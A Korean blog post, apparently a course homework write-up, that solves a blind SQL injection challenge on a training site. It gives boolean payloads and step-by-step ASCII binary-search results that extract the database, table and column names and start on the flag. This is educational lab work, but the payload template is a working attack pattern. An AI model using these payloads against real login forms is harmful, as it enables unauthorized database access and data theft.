본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 5주차 해킹과제] SQLi 문제 풀이(3문제)

안녕하세요! 이번에는 노말틱님께서 만드신 해킹 사이트에 들어가서 문제를 풀어보고 문제 풀이를 해보겠습니다.

 

우선 가장 어려운 3번 문제 부터 하겠습니다.

 

 

후..시작하죠

 

 

아 참고로 저는 버프 스위트 통해 openbrowser을 했습니다!

 

아이디는 mario 패스워드는 mariosuper입니다.

 

로그인을 일단 해보겠습니다.

 

오.. 나오네요

 

한번 일부로 틀려보곘습니다.

 

저기에 있는 Request을 Repeater로 보낸 뒤

이렇게 작성해서 보내겠습니다.

 

 

 

딱봐도 틀리죠?

 

틀렸다고 알려주네요!

 

Render을 보시면 더욱 보기 편합니다.

 

그쵸?

 

이제 SQL을 추측하겠습니다.

 

Step 1이죠

만약 잘 모르시다면 

 

https://mynameisarke.tistory.com/33

 

[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi

안녕하세요! 오늘은 SQL 인젝션 공격 중 하나인 Blind SQLi을 공부해 보겠습니다. 일단 이 Blind SQLi는 어디서 공격을 할까요? -공격 위치? DB결과가 화면에 안 나오는 곳. Error based 나오는 곳 ALL , 사실 S

mynameisarke.tistory.com

참고하세요!

 

아마.. select ~~~ from ~~~ where ~~~ = ' ~~~' ; 이런 형식 아닐까요?

 

해보죠

mario' AND 1=1 AND '1'='1

 

어! 되네요!

 

SQLI가 통하네요! 근데 게시물 처럼 나오는 게 아니라서 저희는 blind 공격을 해야 한다는 것을 알아야합니다.

 

 

Step 2. 참 거짓이 분명한가?

 

그초 거짓이면 Wrong이 나왔잖아요.

 

Step 3. 공격 틀 만들기

 

차차 해보죠 먼저 아스키 코드

 

mario' AND ascii('t')>0 AND '1'='1

 

되네요!

 

그 다음에 substring 대입

 

mario' AND ascii(substring('test',1,1))>0 AND '1'='1

 

성공

 

그 다음에는 'test' 대신 SQL 넣어서 공격 포맷을 만들겠습니다.

 

 

mario' AND ascii(substring((SQL),1,1))>0 AND '1'='1

 

완성!

 

Step. 4 DB이름 추출하기

 

이제 고된 시간이죠.. 노가다를 해보겠습니다!

 

select database()

 

mario' AND ascii(substring((select database()),1,1))>0 AND '1'='1

 

참!

 

일일이 사진 넣기엔 힘들테니 그냥 제가 입력 한 숫자 순서대로 작성하겠습니다.

 

100 참

 

150 거짓

 

120 거짓

 

115 거짓

 

= 114 거짓

 

= 115 참

 

첫 글자가 115 인것을 찾았습니다.

 

다음 글자 찾아보겠습니다.

 

mario' AND ascii(substring((select database()),2,1))>0 AND '1'='1

 

 

100 참

 

120 거짓

 

115 거짓

 

=114 거짓

 

=113 참

 

 

 

 

두번째 글자가 113 인것을 알 수 있습니다.

 

115 113

 

 

 

다음 3번째 글자 찾아보죠

mario' AND ascii(substring((select database()),3,1))>0 AND '1'='1

 

100 참

 

120 거짓

 

110 거짓

 

105 참

 

108 거짓

 

107 참

 

=108 참

 

 

이진탐색이 최고로 빠르죠

 

115 113 108 

 

다음 4번째 글자

 

mario' AND ascii(substring((select database()),4,1))>0 AND '1'='1

 

100 참

 

120 거짓

 

110 거짓

 

105 거짓

 

103 참

 

=104 거짓

 

=105 참

 

 

벌써 지치네요

 

 

115 113 108 105

 

 

다음 글자 5번째

 

mario' AND ascii(substring((select database()),5,1))>0 AND '1'='1

 

100 거짓

 

50 참

 

75 참

 

90 참

 

95 거짓

 

93 참

 

94 참

 

=95 참

 

 

 

115 113 108 105 95

 

 

 

다음 글자 6번째

 

mario' AND ascii(substring((select database()),6,1))>0 AND '1'='1

 

100 거짓

 

50 참

 

75 거짓

 

60 거짓

 

55 거짓

 

53 거짓

 

51 거짓

 

=51 참

 

 

115 113 108 105 95 51

 

 

 

다음 글자 7번째

 

mario' AND ascii(substring((select database()),7,1))>0 AND '1'='1

 

0 거짓

 

=0 참

 

NULL 나왔네요!

 

115 113 108 105 95 51 이게 데이터 베이스 명입니다.

 

sqli_3  이게 데이터 명입니다

 

 

 

Step 5. 테이블 이름 추출하기

 

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),1,1)) > 0) AND '1'='1

 

시작하죠!

 

100 참

 

120 거짓

 

110 거짓

 

105 거짓

 

102 거짓

 

101 참

 

=102 참

 

 

 

테이블 이름의 첫 글자가 102네요

 

 

두번째 글자

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),2,1)) > 0) AND '1'='1

 

100 참

 

120 거짓

 

110 거짓

 

105 참

 

107 참

 

108 거짓

 

=108 참

 

 

102 108

 

 

 

테이블의 3번째 글자

 

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),3,1)) > 0) AND '1'='1

 

100 거짓

 

50 참

 

75 참

 

90 참

 

95 참

 

97 거짓

 

96 참

 

=97 참

 

 

102 108 97 

 

 

 

테이블 4번째 글자

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),4,1)) > 0) AND '1'='1

 

 

100 참

 

120 거짓

 

110 거짓

 

105 거짓

 

102 참

 

103 거짓

 

=103 참

 

 

102 108 97 103

 

 

테이블의 5번째 글자

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),5,1)) > 0) AND '1'='1

 

100 거짓

 

50 참

 

75 참

 

90 참

 

95 거짓

 

92 참

 

94 참

 

=95 참

 

토나올거 같아요 코딩 할때도 스트레스 받고 토했는데!

 

102 108 97 103 95

 

 

테이블 6번째 글자 

 

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),6,1)) > 0) AND '1'='1

 

100 참

 

120 거짓

 

110 참

 

115 참

 

116 거짓

 

=116 참

 

구아앙ㄱ

 

102 108 97 103 95 116

 

이제 7번째 글자

 

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),7,1)) > 0) AND '1'='1

 

100 거짓

 

50 참

 

75 참

 

90 참

 

95 참

 

96 참

 

97 거짓

 

=97 참

 

 

 

102 108 97 103 95 116 97

 

 

이제 8번째

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),8,1)) > 0) AND '1'='1

 

100 거짓

 

50 참

 

80 참

 

90 참

 

95 참

 

98 거짓

 

97 참

 

=98 참

 

 

 

 

102 108 97 103 95 116 97 98

 

이제 9번째

 

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),9,1)) > 0) AND '1'='1

 

100 참

 

120 거짓

 

110 거짓

 

105 참

 

107 참

 

108 거짓

 

=108 참

 

하;

 

102 108 97 103 95 116 97 98 108

 

이제 10번째

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),10,1)) > 0) AND '1'='1

 

100 참

 

120 거짓

 

110 거짓

 

105 거짓

 

102 거짓

 

101 거짓

 

=101 참

 

102 108 97 103 95 116 97 98 108 101

 

 

이제 11번째

mario' AND (ascii(substring((select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1),11,1)) > 0) AND '1'='1

 

0거짓

 

=0 참

 

드디어!!! 끝났네요

 

테이블 이름을 구했습니다. 한 번 봐보겠습니다.

102 108 97 103 95 116 97 98 108 101

 

flag_table

 

좋아요! 제가 원하는 flag_table이 바로 나와줬네요

 

이제 컬럼 이름 찾으러 갑시다.

 

 

Step 6 컬럼 이름 추출

 

mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),1,1)) > 0) AND '1'='1 

 

100 참

 

120 거짓

 

110 거짓

 

105 거짓

 

102 거짓

 

=102 참

 

 

102

 

2번째 글자

 

mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),2,1)) > 0) AND '1'='1 

 

100참

 

110 거짓

 

105 참

 

107 참

 

108 거짓

 

=108 참

 

 

102 108 

 

 

3번째 글자

mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),3,1)) > 0) AND '1'='1 

 

100 거짓

 

50 참

 

75 참

 

90 참

 

95 참

 

97 거짓

 

96 참

 

=97 참

 

(해탈)

102 108 97

 

4번째 글자

mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),4,1)) > 0) AND '1'='1 

 

100 참

 

110 거짓

 

105 거짓

 

102 참

 

103 거짓

 

=103 참

 

 

 

102 108 97 103

 

5번째 글자

mario' AND (ascii(substring((select column_name from information_schema.columns where table_name='flag_table' limit 0,1),5,1)) > 0) AND '1'='1 

 

0 거짓

 

=0 참

 

4글자 밖에 안되서 감사합니다!

 

봐볼게요

102 108 97 103

flag

 

이제 데이터만 추출하면 됩니다! 시작하죠

 

Step 8. Data 추출

 

mario' AND ascii(substring((SELECT flag FROM flag_table limit 0,1),1,1))>0 AND '1'='1

 

100 참

 

110 참

 

115 거짓

 

=115 참

 

대부분 flag가 s로 시작하드라고요

 

2번째 글자

mario' AND ascii(substring((SELECT flag FROM flag_table limit 0,1),2,1))>0 AND '1'='1

 

 

100 참

 

110 거짓

 

105 거짓

 

102 거짓

 

101 거짓

 

=101 참

 

 

후..

 

115 101 ....

 

여기까지! 여기까지만 작성하겠습니다

저는 풀었습니다. 하지만 정답을 블로그에 올리는 것은 문제 출시자에 대한 예의가 아니라고 합니다.

 

어쨋든 저렇게 계속 반복 하시면 정답이 나오게 됩니다.

.

.

.

.

.

글이 너무 길어져서 여기까지만 작성하겠습니다! 다음 글에는 1,2번을 풀이 한꺼번에 하겠습니다.

 

노가다을 할 필요가 없어서 금방 끝날거 같습니다.

 

긴 글 봐주셔서 감사합니다!